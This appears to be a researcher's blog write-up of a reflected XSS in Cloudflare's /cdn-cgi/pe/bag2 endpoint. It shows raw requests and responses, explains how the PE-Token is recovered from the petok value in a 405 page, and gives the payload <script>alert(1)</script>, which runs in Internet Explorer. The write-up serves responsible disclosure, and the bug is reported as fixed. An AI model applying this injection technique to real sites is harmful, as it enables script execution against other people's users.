Cloudflare WAF XSS
A long time ago, I found a bug on http://securityundefined.com, an XSS vulnerability in the path:
http://securityundefined.com/cdn-cgi/pe/bag2?r[]=
I reported it, and it was fixed after a while. The vulnerable parameter was “r[],” but I didn’t realize that the path (/cdn-cgi/pe/bag2?r[]=) was for “Cloudflare,” so I didn’t investigate further. Later, while searching for bugs again, I found: \http://foo.bar/cdn-cgi/pe/bag2?r[]=\
I was surprised to see this path again and thought it might be as vulnerable as the previous one. So, I did a simple GET request:
1
2
3
4
5
6
7
GET /cdn-cgi/pe/bag2?r= HTTP/1.1
Host: foo.bar
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
I received:
1
2
3
4
5
6
7
HTTP/1.1 405 Not Allowed
Date: Mon, 16 Nov 2015 16:17:42 GMT
Content-Type: text/html
Server: cloudflare-nginx
cf-ray: 246481f1dd7c08ea-CDG
Transfer-Encoding: chunked
Connection: Keep-Alive
As you can see, the website is not Cloudflare, but the responding server is Cloudflare because it uses a Cloudflare service. But how does it work? Why do I get a 405 Not Allowed response? And how do I get the 200 OK that I want? Firstly, I used a proxy to get an explicit HTTP request, which gave me the 200 OK.
I used proxy to get the clear HTTP request that gets the 200 OK . The orignal request was :
1
2
3
4
5
6
7
8
GET /cdn-cgi/pe/bag2?r[]=http://foo.bar/xxx.js HTTP/1.1
Host:foo.bar
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
PE-Token:1181d2a8d2f71217d89f9a70eb521bd7334e1a25-1438819567-1800
Connection: keep-alive
I noticed the PE-Token
in the request and changed the (http://foo.bar/xxx.js) to <script>alert(1)</script>
Firefox: nothing. IE 9, 10, 11: the XSS works! After some investigation, I noticed the content type was set to Content-Type: multipart/mixed, so IE interpreted it as an HTML page and executed it. But where can I get the PE Token? You’ll receive a simple page with “405 Not Allowed” when you request. If you look into the source code, you will see:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head><title>405 Not Allowed</title><script type="text/javascript">
//<![CDATA[
try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:1438806465,byc:0,owlid:"cf",bag2:1,mirage2:0,oracle:0,
paths:{cloudflare:"/cdn-cgi/nexp/dok3v=1613a3a185/"},atok:"xxxxxxxxxxx",petok:"1181d2a8d2f71217d89f9a70eb521bd7334e1a25-1438819567-1800",
betok:"6ac82112672bec8b142092f8509e441fc0771df0-1438819567-120",zone:"salesforce.com",rocket:"0",apps:{"clky":{"sid":"xxxx","uid":"xxxx"}}}]
;!function(a,b){a=document.createElement("script"),
b=document.getElementsByTagName("script")[0],a.async=!0,
a.src="//ajax.cloudflare.com/cdn-cgi/nexp/dok3v=d134393e0a/cloudflare.min.js",b.parentNode.insertBefore(a,b)}()}}catch(e){};
//]]>
</script>
</head>
<body bgcolor="white">
<center><h1>405 Not Allowed</h1></center>
<hr><center>cloudflare-nginx</center>
</body>
</html>
I found out that petok
equals PE-Token
.
I discovered that many websites use this Cloudflare service. Here are some examples with XSS:
I reported it to Cloudflare. They marked it as N/A but fixed it anyway. Thank you for reading